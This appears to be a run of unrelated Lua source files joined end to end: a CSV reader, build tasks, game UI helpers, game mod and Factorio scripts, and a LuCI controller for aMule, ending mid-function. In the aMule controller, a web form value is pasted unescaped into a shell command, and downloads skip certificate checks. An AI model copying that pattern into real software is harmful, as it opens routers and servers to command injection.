--[[ # csv : utilities DARE, Copyright (c) 2017, Tim Menzies All rights reserved, BSD 3-Clause License Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --]] ------------------------------------------------------- local the = require "config" local notsep = "([^" .. the.sep .. "]+)" -- not cell seperator local dull = "['\"\t\n\r]*" -- white space, quotes local padding = "%s*(.-)%s*" -- space around words local comments = "#.*" -- comments local files = {txt=true, csv=true} -------------------------------------------------------- local function incomplete(txt) -- must join line to next return string.sub(txt,-1) == the.sep end ------------------------------------------------------- local function ignored(txt) -- ignore this column return string.find(txt,the.ignore) == nil end ------------------------------------------------------- local function cellsWeAreNotIgnoring(txt,wme) local out,col = {},0 for word in string.gmatch(txt,notsep) do col = col + 1 if wme.first then wme.use[col] = ignored(word) end if wme.use[col] then out[#out+1] = tonumber(word) or word end end return out end ------------------------------------------------------- local function withOneLine(txt,wme) txt= txt:gsub(padding,"%1") :gsub(dull,"") :gsub(comments,"") if #txt > 0 then wme.fn( cellsWeAreNotIgnoring(txt,wme) ) end end ------------------------------------------------------- local function withEachLine(src,wme) local cache={} local function line1(line) cache[#cache+1] = line if not incomplete(line) then cache= withOneLine(table.concat(cache), wme) cache= {} wme.first=false end end ------------------------------------- if files[string.sub(src,-3,-1)] then io.input(src) for line in io.lines() do line1(line) end else for line in src:gmatch("[^\r\n]+") do line1(line) end end end ------------------------------------------------------- return function (src,fn) withEachLine(src, {fn=fn, first=true, use={}}) end
--[[ LuCI - Lua Configuration Interface - amule support Copyright 2016 maz-1 <ohmygod19993@gmail.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 ]]-- module("luci.controller.amule", package.seeall) local uci = luci.model.uci.cursor() local configdir = uci:get("amule", "main", "config_dir") function index() if not nixio.fs.access("/etc/config/amule") then return end entry({"admin", "nas"}, firstchild(), "NAS", 45).dependent = false entry({"admin", "nas", "amule"}, cbi("amule"), _("aMule Settings")).dependent = true entry({"admin", "nas", "amule", "logview"}, call("logread")).leaf = true entry({"admin", "nas", "amule", "status"}, call("get_pid")).leaf = true entry({"admin", "nas", "amule", "amulecmd"}, call("amulecmd")).leaf = true entry({"admin", "nas", "amule", "startstop"}, post("startstop")).leaf = true entry({"admin", "nas", "amule", "down_kad"}, post("down_kad")).leaf = true entry({"admin", "nas", "amule", "down_ed2k"}, post("down_ed2k")).leaf = true end -- called by XHR.get from detail_logview.htm function logread() -- read application settings local uci = luci.model.uci.cursor() local logdir = uci:get("amule", "main", "config_dir") or "/var/run/amule" uci:unload("amule") local ldata=nixio.fs.readfile(logdir .. "/logfile") if not ldata or #ldata == 0 then ldata="_nodata_" end luci.http.write(ldata) end -- called by XHR.get from detail_startstop.htm function startstop() local pid = get_pid(true) if pid > 0 then luci.sys.call("/etc/init.d/amule stop") nixio.nanosleep(1) -- sleep a second if nixio.kill(pid, 0) then -- still running nixio.kill(pid, 9) -- send SIGKILL end pid = 0 else luci.sys.call("/etc/init.d/amule start") nixio.nanosleep(1) -- sleep a second pid = tonumber(luci.sys.exec("pidof amuled")) or 0 if pid > 0 and not nixio.kill(pid, 0) then pid = 0 -- process did not start end end luci.http.write(tostring(pid)) -- HTTP needs string not number end function down_kad() url = uci:get("amule", "main", "kad_nodes_url") data_path = configdir .. "/nodes.dat" proto = string.gsub(url, "://%S*", "") proto_opt = ( proto == "https" ) and " --no-check-certificate" or "" cmd = "wget -O /tmp/down_nodes.dat \"" .. url .. "\"" .. proto_opt .. " && cat /tmp/down_nodes.dat > " .. "\"" .. data_path .. "\"" luci.sys.call(cmd) end function down_ed2k() url = uci:get("amule", "main", "ed2k_servers_url") data_path = configdir .. "/server.met" proto = string.gsub(url, "://%S*", "") proto_opt = ( proto == "https" ) and " --no-check-certificate" or "" cmd = "wget -O /tmp/down_server.met \"" .. url .. "\"" .. proto_opt .. " && cat /tmp/down_server.met > " .. "\"" .. data_path .. "\"" luci.sys.call(cmd) end -- called by XHR.poll from detail_startstop.htm -- and from lua (with parameter "true") function get_pid(from_lua) local pid_amuled = tonumber(luci.sys.exec("pidof amuled")) or 0 local amuled_stat = false if pid_amuled > 0 and not nixio.kill(pid_amuled, 0) then pid_amuled = 0 end if pid_amuled > 0 then amuled_stat =true else amuled_stat =false end local pid_amuleweb = tonumber(luci.sys.exec("pidof amuleweb")) or 0 local amuleweb_stat = false if pid_amuleweb > 0 and not nixio.kill(pid_amuleweb, 0) then pid_amuleweb = 0 end if pid_amuleweb > 0 then amuleweb_stat =true else amuleweb_stat =false end local status = { amuled = amuled_stat, amuled_pid = pid_amuled, amuleweb = amuleweb_stat } if from_lua then return pid_amuled else luci.http.prepare_content("application/json") luci.http.write_json(status) end end function amulecmd() local re ="" local rv = { } local cmd = luci.http.formvalue("cmd") local full_cmd = "HOME=\""..configdir.. "\" /usr/bin/amulecmd".." -c \""..cmd.."\" 2>&1" local shellpipe = io.popen(full_cmd,"rw") re = shellpipe:read("*a") shellpipe:close() if not re then re="" end re = string.gsub(re, "This is amulecmd %S*\n", "") re = string.gsub(re, "Creating client%S*\n", "") re = string.gsub(re, "Succeeded! Connection established to aMule %S*\n", "") re = string.gsub(re, "\n", "\r\n") rv[#rv+1]=re if #rv > 0 then luci.http.prepare_content("application/json") luci.http.write_json(rv) return end luci.http.status(404, "No such device") end
-- add tasks for _, taskpath in ipairs(os.dirs("*")) do -- add task local taskname = path.basename(taskpath) task(taskname) -- on run on_run(function () -- imports import("core.base.option") import("core.base.task") import("core.project.config") import("core.project.project") -- get case name local casename = option.get("casename") assert(casename, "no given testing name, please run `$xmake " .. taskname .. " --help` for getting more info.") -- load config config.load() -- walk all tests for _, testpath in ipairs(os.dirs(path.join(os.scriptdir(), taskname, casename, "*"))) do -- the target name local testname = path.basename(testpath) local targetname = taskname .. "_" .. casename .. "_" .. testname -- run the target task task.run("run", {target = targetname, arguments = option.get("arguments")}) end end) -- set menu set_menu({ -- usage usage = "xmake " .. taskname .. " casename [options]" -- description , description = "The " .. taskname .. " benchmark." -- options , options = { {'n', "casename", "kv", nil, "The case name." -- show all cases , function () -- imports import("core.project.project") -- make description local description = {} for i, casepath in ipairs(os.dirs(format("%s/src/%s/*", project.directory(), taskname))) do local casename = path.basename(casepath) description[i] = " - " .. casename end -- get it return description end } , {} , {nil, "arguments", "vs", nil, "The script arguments." } } }) end -- add tests includes("**/xmake.lua")
-- Copyright (c) 2021 wzhengsen -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to deal -- in the Software without restriction, including without limitation the rights -- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -- copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions:-- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software.-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -- THE SOFTWARE. local cc = cc; local ccui = ccui; local type = type; -- 一些自定义的属性等。 local Node = cc.Node; function Node.set:Parent(p) if class.IsNull(p) then self:RemoveFromParent(); else local op = self:GetParent(); if op then if op ~= p then self:Retain(); self:RemoveFromParent(false); p:AddChild(self); self:Release(); end else p:AddChild(self); end end end Node.set.X = Node.SetPositionX; Node.set.Y = Node.SetPositionY; Node.set.Z = Node.SetPositionZ; Node.set.XY = Node.SetPosition; Node.get.X = Node.GetPositionX; Node.get.Y = Node.GetPositionY; Node.get.Z = Node.GetPositionZ; Node.get.XY = Node.GetPositionXY; local Label = cc.Label; function Label.set:Italics(b) if b then self:EnableItalics(); else self:DisableEffect(cc.LabelEffect.ITALICS); end end function Label.set:Bold(b) if b then self:EnableBold(); else self:DisableEffect(cc.LabelEffect.BLOD); end end function Label.set:Underline(b) if b then self:EnableUnderline(); else self:DisableEffect(cc.LabelEffect.UNDERLINE); end end function Label.set:Strikethrough(b) if b then self:EnableStrikethrough(); else self:DisableEffect(cc.LabelEffect.STRIKETHROUGH); end end function Label.set:Shadow(bc) if bc then if "table" == type(bc) then self:EnableShadow(bc); else self:EnableShadow(); end else self:DisableEffect(cc.LabelEffect.SHADOW); end end function Label.set:Outline(bc) if bc then if "table" == type(bc) then self:EnableOutline(bc); else self:EnableOutline(); end else self:DisableEffect(cc.LabelEffect.OUTLINE); end end function Label.set:Glow(bc) if bc then if "table" == type(bc) then self:EnableGlow(bc); else self:EnableGlow(); end else self:DisableEffect(cc.LabelEffect.GLOW); end end Label.set.Wrap = Label.EnableWrap; local MenuItem = cc.MenuItem; function MenuItem.set:Selected(b) if b then self:Selected(); else self:Unselected(); end end local ProgressTimer = cc.ProgressTimer; function ProgressTimer.get:Percent() return self:GetPercentage() / 100; end function ProgressTimer.set:Percent(val) self:SetPercentage(val * 100); end local Sprite = cc.Sprite; Sprite.private.__spriteGrayed = nil; function Sprite.get:Grayed() return self.__spriteGrayed or false; end function Sprite.set:Grayed(val) val = not not val; if self.__spriteGrayed == val then return; end self.ProgramState = val and ccb.ProgramType.GRAY_SCALE or ccb.ProgramType.POSITION_TEXTURE_COLOR; self.__spriteGrayed = val; end local EventAssetsManagerEx = cc.EventAssetsManagerEx; function EventAssetsManagerEx.get:Percent() return EventAssetsManagerEx:GetPercent(self) / 100; end function EventAssetsManagerEx.get:PercentByFile() return EventAssetsManagerEx.getPercentByFile(self) / 100; end local Widget = ccui.Widget; Widget.set.TouchHandler = Widget.AddTouchEventListener; Widget.set.ClickHandler = Widget.AddClickEventListener; local EditBox = ccui.EditBox; function EditBox.set:EditHandler(val) if val == nil then self:UnregisterScriptEditBoxHandler(); else self:RegisterScriptEditBoxHandler(val); end end local LoadingBar = ccui.LoadingBar; function LoadingBar.get:Percent() return self:GetPercent() / 100; end function LoadingBar.get:Percent(val) self:SetPercent(val * 100); end local Slider = ccui.Slider; function Slider.get:Percent() return self:GetPercent() / 100; end function Slider.get:MaxPercent() return self:getMaxPercent() / 100; end function Slider.set:Percent(val) self:SetPercent(val * 100); end function Slider.set:MaxPercent(val) self:SetMaxPercent(val * 100); end local Text = ccui.Text; function Text.set:Shadow(bc) if bc then if "table" == type(bc) then self:EnableShadow(bc); else self:EnableShadow(); end else self:DisableEffect(cc.LabelEffect.SHADOW); end end function Text.set:Outline(bc) if bc then if "table" == type(bc) then self:EnableOutline(bc); else self:EnableOutline(); end else self:DisableEffect(cc.LabelEffect.OUTLINE); end end function Text.set:Glow(bc) if bc then if "table" == type(bc) then self:EnableGlow(bc); else self:EnableGlow(); end else self:DisableEffect(cc.LabelEffect.GLOW); end end local VideoPlayer = ccui.VideoPlayer; VideoPlayer.set.EventHandler = VideoPlayer.AddEventListener; local WebView = ccui.WebView; WebView.set.Url = WebView.LoadURL; WebView.set.File = WebView.LoadFile; local QrCode = ccui.QrCode; QrCode.set.String = QrCode.LoadCodeByString;
return LoadFont("Common Normal") .. { };
addEvent('onReceiveSMS',true) addEventHandler('onReceiveSMS',root, function (pMessage) local memoMessage = getPlayerName( source ) .." -> Me: ".. pMessage .."\n" local chatBoxMessage = "[PM FROM: ".. getPlayerName( source ) .. "]: "..pMessage if not ( exports.densettings:isPlayerBlacklisted(source) ) then -- if sender is not blacklisted if ( getElementData( localPlayer, "SMSoutput" ) ) then outputChatBox(chatBoxMessage,0,255,0) end -- output chatbox if enabled triggerEvent('onInsertSMSMemo',source,memoMessage,source) -- add sms to memo triggerServerEvent('smsSuccess',localPlayer,source,pMessage) -- let server know it succeeded else triggerServerEvent('smsBlocked',localPlayer,source) -- let server know it failed end end )
local index = pages.addContent(PAGE_MUSIC, "Little Gremlin - EP", "little-gremlin") local page = pages.content[index] page.desc = "Little Gremlin is my first EP! Little Gremlin is about a city overrun by monsters. All the songs were written in a little under a year. I started the EP after my computer got a virus and I lost all my old project files. Scary sequences, all from your head! is the only track that survived my hard drive wipe.RP_BRTracklist:RP_BR1. Use a protractor (1:41)RP_BR2. Scary sequences, all from your head! (0:50)RP_BR3. Panini Pressin (1:59)RP_BR4. Homeowner (2:22)" page.month = 7 page.day = 6 page.year = 2019 page.release_date, page.release_score = generateDate(page) page.logo = "music/lg.png" page.logo_hd = "music/lg-large.png" page.src = "music" --[[ gt - Glorious Trainwrecks direct - direct download itch - itch.io online - link on this site github - source on github sc - soundcloud apple - apple music bc - bandcamp spotify - spotify yt - youtube music custom1_text - "download it here" custom1_url - "google.com" ]] page.links = {} page.links.apple = "https://music.apple.com/gb/album/little-gremlin-ep/1540702003" page.links.spotify = "https://open.spotify.com/album/3vkRKmccOOenmLbCT69qYc?si=MMjE_LqrTyi9jc_d3FbdiQ" page.links.sc = "https://soundcloud.com/illteteka/sets/little-gremlin" page.links.bc = "https://illteteka.bandcamp.com/album/little-gremlin-ep" page.links.yt = "https://www.youtube.com/watch?v=jTkT6G1KrbY&list=OLAK5uy_lq-JElNGM-GV1rcy7udCb8LPrCCiUJI7I&index=2"
require "behaviours/wander" require "behaviours/faceentity" require "behaviours/chaseandattack" require "behaviours/panic" require "behaviours/runaway" local MAX_CHASE_TIME = 6 local WANDER_DIST_DAY = 20 local WANDER_DIST_NIGHT = 5 local RUN_AWAY_DIST = 6 local STOP_RUN_AWAY_DIST = 12 local START_FACE_DIST = 14 local KEEP_FACE_DIST = 20 local function GetFaceTargetFn(inst) local target = GetClosestInstWithTag("player", inst, START_FACE_DIST) if target and not target:HasTag("notarget") then return target end end local function KeepFaceTargetFn(inst, target) return inst:GetDistanceSqToInst(target) <= KEEP_FACE_DIST * KEEP_FACE_DIST and not target:HasTag("notarget") end local function ShouldRunAway(guy) return guy:HasTag("character") and not guy:HasTag("notarget") end local KoalefantBrain = Class(Brain, function(self, inst) Brain._ctor(self, inst) end) function KoalefantBrain:OnStart() local root = PriorityNode( { WhileNode( function() return self.inst.components.health.takingfiredamage end, "OnFire", Panic(self.inst)), ChaseAndAttack(self.inst, MAX_CHASE_TIME), SequenceNode{ FaceEntity(self.inst, GetFaceTargetFn, KeepFaceTargetFn, 0.5), RunAway(self.inst, ShouldRunAway, RUN_AWAY_DIST, STOP_RUN_AWAY_DIST) }, FaceEntity(self.inst, GetFaceTargetFn, KeepFaceTargetFn), Wander(self.inst) }, .25) self.bt = BT(self.inst, root) end return KoalefantBrain
-- Custom local META_EventsAPI = require(script:GetCustomProperty("META_EventsAPI")) local EventKey = script.parent:GetCustomProperty("Key") if not EventKey then warn("Script must be a child of an Event") return end -- Settings local ResourceName = script:GetCustomProperty("ResourceName") local Multiplier = script:GetCustomProperty("Multiplier") if not ResourceName then warn("No Resource Name Set") return end if Multiplier < 1 then warn("Multiplier must be equal to or greater than 1") Multiplier = 1 end local rscListeners = {} function DisconnectRscListener(player) rscListeners[player]:Disconnect() end function ConnectRscListener(player) rscListeners[player] = player.resourceChangedEvent:Connect(OnResourceChanged) end function OnResourceChanged(player, rsc, newAmount) if rsc ~= ResourceName then return end if not player.serverUserData.resources[rsc] then player.serverUserData.resources[rsc] = newAmount return end if not META_EventsAPI.IsEventKeyActive(EventKey) then player.serverUserData.resources[rsc] = player:GetResource(rsc) return end local oldAmount = player.serverUserData.resources[rsc] or 0 local delta = newAmount - oldAmount print(rsc, oldAmount, newAmount) if delta < 0 then player.serverUserData.resources[rsc] = newAmount return end DisconnectRscListener(player) local bonusAmount = delta * (Multiplier - 1) player:AddResource(rsc, bonusAmount ) print("adding a bonus", bonusAmount) ConnectRscListener(player) print("Final amount:", player:GetResource(rsc)) player.serverUserData.resources[rsc] = player:GetResource(rsc) end function OnPlayerJoined(player) print("Player Joined") player.serverUserData.resources = {} local value = player:GetResource(ResourceName) if value ~= 0 then player.serverUserData.resources[ResourceName] = value end ConnectRscListener(player) end Game.playerJoinedEvent:Connect(OnPlayerJoined)
local out = "" function write(...) local arg = {...} for i, v in ipairs(arg) do out = out .. tostring(v) end end function item_count(node) local count = 0 for k, v in pairs(node) do count = count + 1 end return count end function traverse_table(node) write("{") local i = 1 local count = item_count(node) for k, v in pairs(node) do write("\"", tostring(k), "\": ") traverse(v) if i < count then write(",") end i = i + 1 end write("}") end function traverse_array(node) local count = item_count(node) write("[") for k, v in ipairs(node) do traverse(v) if k < count then write(",") end end write("]") end function traverse(node) if type(node) == "table" then if type(next(node)) == "number" then traverse_array(node) else traverse_table(node) end elseif type(node) == "string" then write("\"", node, "\"") else write(node) end end function inspect_recipe(node) return { name=node.name, category=node.category, products=node.products, ingredients=node.ingredients, hidden=node.hidden, energy=node.energy, order=node.order, group=node.group.name, subgroup=node.subgroup.name, } end function inspect_recipes(recipes) local r = {} local groups = {} for k, v in pairs(recipes) do groups[v.group.name] = v.group r[k] = inspect_recipe(v) end return r, groups end function inspect_entities(entities) local e = {} local groups = {} for k, v in pairs(entities) do groups[v.group.name] = v.group if v.crafting_categories or v.mining_power or v.resource_category or v.burner_prototype then entity = { name=v.name, type=v.type, group=v.group.name, subgroup=v.subgroup.name, order=v.order, mineable_properties=v.mineable_properties, resource_category=v.resource_category, ingredient_count=v.ingredient_count, crafting_speed=v.crafting_speed, crafting_categories=v.crafting_categories, module_inventory_size=v.module_inventory_size, energy_usage=v.energy_usage, max_energy_usage=v.max_energy_usage, mining_speed=v.mining_speed, mining_power=v.mining_power, fluid_usage_per_tick=v.fluid_usage_per_tick, } if v.burner_prototype then b = v.burner_prototype entity.burner_prototype = { category=b.category, effectivity=b.effectivity, fuel_category=b.fuel_category, emissions=b.emissions, } end e[k] = entity end end return e, groups end function inspect_items(items) local i = {} local groups = {} for k, v in pairs(items) do groups[v.group.name] = v.group i[k] = { name=v.name, type=v.type, group=v.group.name, subgroup=v.subgroup.name, order=v.order, fuel_category=v.fuel_category, module_effects=v.module_effects, category=v.category, tier=v.tier, limitations=v.limitations, } if v.fuel_value ~= 0 then i[k].fuel_value = v.fuel_value end if v.place_result then i[k].place_result = v.place_result.name end end return i, groups end function inspect_fluids(fluids) local f = {} local groups = {} for k, v in pairs(fluids) do groups[v.group.name] = v.group f[k] = { name=v.name, group=v.group.name, subgroup=v.subgroup.name, order=v.order, base_color=v.base_color, flow_color=v.flow_color, } end return f, groups end function inspect_groups(groups) local g = {} for k, v in pairs(groups) do local subgroups = {} for i, s in ipairs(v.subgroups) do subgroups[s.name] = s.order end g[k] = { name=v.name, order=v.order, subgroups=subgroups, } end return g end function update(a, b) for k, v in pairs(b) do a[k] = v end end function inspect_all() local groups = {} local recipes, g = inspect_recipes(game.recipe_prototypes) update(groups, g) local entities, g = inspect_entities(game.entity_prototypes) update(groups, g) local items, g = inspect_items(game.item_prototypes) update(groups, g) local fluids, g = inspect_fluids(game.fluid_prototypes) update(groups, g) local data = { versions=game.active_mods, recipes=recipes, entities=entities, items=items, fluids=fluids, groups=inspect_groups(groups), } traverse(data) end inspect_all() game.write_file("game_data.json", out)
local pdist = {} return pdist
require("mod-gui") function story_init_helpers(story) story.helpers = make_helpers(story) end function make_helpers(story) local helpers = {} helpers.story_points_by_name = {} helpers.story_branches = {} for story_index, data in pairs(story) do if (story_index ~= "update-functions") then helpers.story_branches[story_index] = data for index, item in pairs(data) do if item.name ~= nil then helpers.story_points_by_name[item.name] = {} helpers.story_points_by_name[item.name].story_index = story_index helpers.story_points_by_name[item.name].position = index end end else story_update_table = data end end return helpers end function story_init(story_table,player) local result = {} -- List of names of currently active update functions result.updates = {} -- Tick, when the current state started result.current_story_started_at = 0 -- There can be different stories (sequencies), this specifies which one is active result.story_index = 1 -- Position in the current story result.story_position = 1 -- Utility variables used to ensure that the init of the story item is called just once result.init_called_last_on_story_index = 0 result.init_called_last_on_position = 0 if player then result.player = player end result.helpers = make_helpers(story_table) return result end function story_update(story, event, next_level, onwin) if event.name == defines.events.on_entity_renamed then return end if event.created_entity then global.last_built_position = event.created_entity.position end on_gui_click(event) local branches = story.helpers.story_branches[story.story_index] local starting_story_index = story.story_index local starting_story_position = story.story_position local branch = branches[story.story_position] if story.story_position > #branches then return end if branch.init ~= nil then if story.init_called_last_on_story_index ~= story.story_index or story.init_called_last_on_position ~= story.story_position then story.init_called_last_on_story_index = story.story_index story.init_called_last_on_position = story.story_position if branch.init(event, story) then return end if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then return end end else story.init_called_last_on_story_index = 0 story.init_called_last_on_position = 0 end for index, item in pairs(story.updates) do if story_update_table[index](event, story) then return end end if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then return end if branch.update ~= nil then branch.update(event, story) end if branch.idle ~= nil then local count = (event.tick - story.current_story_started_at)/60 if branch.idle[count] then branch.idle[count](event, story) end end if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then return end if ( branch.condition == nil and event.name == defines.events.on_tick ) or ( branch.condition ~= nil and branch.condition(event, story) ) then if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then return end if branch.action ~= nil then branch.action(event, story) end if story.story_index ~= starting_story_index or story.story_position ~= starting_story_position then return end story.story_position = story.story_position + 1 story.current_story_started_at = game.ticks_played if story.story_position > #branches then if onwin ~= nil then onwin() end if not game.finished then if next_level then game.set_game_state{game_finished=true, player_won=true, next_level=next_level} else game.set_game_state{game_finished=true, player_won=true} end end end end end function story_on_tick(event) if event.name ~= defines.events.on_tick then return end flash_message_log_on_tick() end function story_add_update(story, name) story.updates[name] = true end function story_remove_update(story, name) story.updates[name] = nil end function story_jump_to(story, name) local story_point = story.helpers.story_points_by_name[name] story.story_index = story_point.story_index story.story_position = story_point.position --story.current_story_started_at = game.ticks_played if story.story_position ~= 1 then local test = story.story_index + 1 local branch = story.helpers.story_branches[story.story_index] if branch[story.story_position - 1].action ~= nil then branch[story.story_position - 1].action(nil, story) end end end function story_elapsed(story, event, seconds) return event.tick - story.current_story_started_at > seconds * 60 end function story_check_passed(story, seconds) return story.current_story_started_at + (seconds*60) < game.ticks_played end function story_elapsed_check(seconds,story_optional) return function(event, current_story) return story_elapsed(current_story, event, seconds) end end function story_show_message_dialog(param, player) if game.is_multiplayer() then if player then player.print(param.text) else game.print(param.text) end else game.show_message_dialog(param) end end function set_goal(goal_string, update_only) global.goal_string = goal_string for k, player in pairs (game.players) do player_set_goal(player, goal_string, update_only) end end function player_set_goal(player, goal_string, update_only) local gui = player.gui.goal if goal_string and goal_string ~= "" then player.set_goal_description(goal_string, update_only) elseif update_only == false then player.set_goal_description("hi") player.set_goal_description("") else player.set_goal_description("") end end function on_player_joined(player) if global.goal_string then player_set_goal(player, global.goal_string) end if global.set_info then for k, info in pairs (global.set_info) do player_set_info(info) end end end function flash_goal() for k, player in pairs (game.players) do local goal_string = player.get_goal_description() player.set_goal_description("hi") player.set_goal_description(goal_string) end end function set_info(info) if not global.set_info then global.set_info = {} end if not info then global.set_info = nil for k, player in pairs (game.players) do player_set_info(player, info) end return end local append = info.append if not append then global.set_info = {} end table.insert(global.set_info, info) for k, player in pairs (game.players) do player_set_info(player, info) end end function player_set_info(player, info) local gui = player.gui.goal local info_flow = gui.goal_info_frame if not info then if info_flow then info_flow.destroy() end else if not info_flow then info_flow = gui.add{type = "flow", name = "goal_info_frame", direction = "vertical"} end if not info.append then info_flow.clear() end if info then if info.custom_function then info.custom_function(info_flow) end if info.text then local label = info_flow.add { type = "label", caption = info.text } label.style.single_line = false label.style.top_padding = 3 label.style.bottom_padding = 3 label.style.maximal_width = 384 end if info.picture then local flow = info_flow.add{type = "flow"} if type(info.picture) == "string" then flow.add{type = "frame", style = "image_frame"}.add { type = "sprite", sprite = info.picture } else local element = flow.add{type = "frame", style = "image_frame"}.add { type = "sprite", name = info.picture.name, tooltip = info.picture.tooltip, sprite = info.picture.path } if info.picture.lua_style then for name, value in pairs (info.picture.lua_style) do element.style[name] = value end end end end if info.pictures then local flow = info_flow.add{type = "flow"} for k, picture in pairs (info.pictures) do if type(picture) == "string" then flow.add { type = "sprite", sprite = picture } else if picture.split then flow = info_flow.add{type = "flow"} end local element = flow.add{type = "frame", style = "image_frame"}.add { type = "sprite", sprite = picture.path, tooltip = picture.tooltip } if picture.lua_style then for name, value in pairs (picture.lua_style) do element.style[name] = value end end end end end if info.camera then local camera = info_flow.add { type = "camera", name = info.camera.name, tooltip = info.camera.tooltip, position = info.camera.position, surface_index = info.camera.surface_index, zoom = info.camera.zoom } camera.style.minimal_width = info.camera.minimal_width or 32 camera.style.minimal_height = info.camera.minimal_height or 32 end end end end function export_entities(param) if not param then param = {} end local surface = param.surface or game.surfaces[1] local item = surface.create_entity{name = "item-on-ground", position = {-400,0}, stack = "blueprint", force = "player"} local blueprint = item.stack local entities = param.entities if not entities then if param.area then entities = surface.find_entities_filtered{area = param.area} else entities = surface.find_entities() end end local ignore = param.ignore or { character = true, particle = true, projectile = true, ["item-request-proxy"] = true, explosion = true } local get_inventory = function(entity) if not entity.valid then return nil end local inventory = {} for k = 1,10 do local inv = entity.get_inventory(k) if inv then inventory[k] = inv.get_contents() end end if #inventory > 0 then return inventory else return nil end end local exported = {} local index_map = {} local count = 1 for k, entity in pairs (entities) do if entity.valid then if entity ~= item and not (ignore[entity.type]) then local info = {} blueprint.create_blueprint{surface = surface, force = "player", area = entity.bounding_box} list = blueprint.get_blueprint_entities() if list then local this = false for i, listed in pairs (list) do if listed.name == entity.name and entity.type ~= "curved-rail" and entity.type ~= "straight-rail" then this = list[i] break end end if this then info = this end end if entity.direction and entity.direction ~= 0 then info.direction = entity.direction end info.index = count local unit_number = entity.unit_number if unit_number then index_map[unit_number] = count end info.name = entity.name local type = entity.type if type == "resource" then info.amount = entity.amount elseif type == "entity-ghost" then info.inner_name = entity.ghost_name elseif type == "item-entity" then info.stack = {name = entity.stack.name, count = entity.stack.count} elseif type == "transport-belt" or type == "underground-belt" then info.line_contents = {} for k = 1, 2 do local line = entity.get_transport_line(k) info.line_contents[k] = line.get_contents() line.clear() end elseif type == "splitter" then info.line_contents = {} for k = 1, 8 do local line = entity.get_transport_line(k) info.line_contents[k] = line.get_contents() line.clear() end elseif type == "locomotive" then info.schedule = entity.train.schedule info.speed = entity.train.speed info.manual_mode = entity.train.manual_mode info.direction = math.floor(0.5+entity.orientation*8)%8 elseif type == "assembling-machine" then if entity.get_recipe() then info.recipe = entity.get_recipe().name end elseif type == "flying-text" then info.text = entity.text end if entity.type == "underground-belt" then info.type = entity.belt_to_ground_type end info.color = entity.color info.force = entity.force.name info.position = entity.position info.inventory = get_inventory(entity) info.backer_name = entity.backer_name info.minable = entity.minable info.rotatable = entity.rotatable info.operable = entity.operable info.destructible = entity.destructible info.entity_number = nil exported[count] = info count = count + 1 end end end for k, entity in pairs (entities) do if entity.valid and entity.circuit_connected_entities and entity.unit_number then local entity_index = index_map[entity.unit_number] if entity_index then local connection_definitions = {} for j, definition in pairs (entity.circuit_connection_definitions) do local unit_number = definition.target_entity.unit_number if unit_number then local index = index_map[unit_number] if index then connection_definitions[index] = { wire = definition.wire, source_circuit_id = definition.source_circuit_id, target_circuit_id = definition.target_circuit_id } end end end if #connection_definitions > 0 then exported[entity_index].circuit_connection_definitions = connection_definitions end end end end for k, entity in pairs (entities) do if entity.valid then if entity ~= item and not (ignore[entity.type]) then entity.destroy() end end end if item.valid then item.destroy() end return exported end function recreate_entities(array, param, bool) if not param then param = {} end local offset = param.offset or {0,0} local surface = param.surface or game.surfaces[1] local force = param.force or "player" local created_entities = {} local created_count = 1 local remaining = {} local remaining_count = 1 local index_map = {} local filter = param.filter local filter_map = {} if filter then for k, name in pairs (filter) do filter_map[name] = true end end for k, entity in pairs (array) do if not filter or filter_map[entity.name] then local save_position = {x = entity.position.x, y = entity.position.y} entity.position.x = entity.position.x + (offset[1] or offset.x) entity.position.y = entity.position.y + (offset[2] or offset.y) entity.force = force entity.expires = entity.expires or false if not param.check_can_place or surface.can_place_entity(entity) then if not entity.index then entity.index = -1 end local created = false if bool or (entity.name ~= "locomotive" and entity.name ~= "rail-signal") then created = surface.create_entity(entity) index_map[entity.index] = created end entity.position = save_position if created then index_map[entity.index] = created if entity.filters then for k, filter in pairs (entity.filters) do created.set_filter(filter.index, filter.name) end end 